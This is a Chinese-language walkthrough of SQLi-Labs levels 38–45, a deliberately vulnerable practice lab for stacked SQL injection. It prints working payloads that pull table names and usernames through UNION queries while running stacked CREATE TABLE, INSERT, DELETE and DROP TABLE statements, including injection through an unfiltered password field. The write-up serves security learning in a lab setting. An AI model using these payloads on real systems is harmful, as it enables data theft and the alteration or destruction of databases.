SQLi-Labs:Less38-Less45

Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就可以多句一起使用,这个叫做stacked injection。


Less 38

在爆破的同时还可以建表

?id=-1' union select 1,database(),3;create table jyx like users--+

SQLi-Labs:Less38-Less45

 SQLi-Labs:Less38-Less45

边爆表名边往表中插入数据

?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3;insert into jyx values('2','十二','陈情令')--+

SQLi-Labs:Less38-Less45

 虽然不支持中文显示,但我们也是成功了~

SQLi-Labs:Less38-Less45

 爆内容加删表

?id=-1' union select 1,(select group_concat(username)from users),3;drop table jyx--+

SQLi-Labs:Less38-Less45

 截了上面的语句以证jyx这个表确实被创建了并且添加了值还删除了

SQLi-Labs:Less38-Less45

 38关over~~~


Less 39

除了不需要使用单引号来构造闭合,其他操作均与38关一致


Less 40

这一关除了闭合方式为')以外,其他操作均与38关一致

与less38、39不相同的地方是这里的错误不会回显,但是不影响我们注入测试


Less 41

和40关相同,没有回显信息,但是不影响我们注入测试,而且不需要构造闭合


Less 42

首先看到这一关我们会想起20几关做的二次注入关卡,但是这一关与那个又是不同的

查看这一关的代码我们可以发现,代码对username进行了过滤但是对password没有任何过滤,所以我们在登录的时候任意输入一个用户名,密码进行堆叠注入,即输入:1';insert into users values(99,'r1se','r1se')#

SQLi-Labs:Less38-Less45

 可以看到成功插入了值

SQLi-Labs:Less38-Less45

 删除操作

1';delete from users where id='99'#

SQLi-Labs:Less38-Less45

 42关over~~~


Less 43

这一关和42关操作一致,只是我们需要注意的是需要')来闭合


Less 44

本关和前面的基本是一样的,只是没有报错回显信息,需要用单引号进行闭合


Less 45

本关和前面的基本也是一样的,也没有报错回显信息,需要用')进行闭合

就到这里啦~~~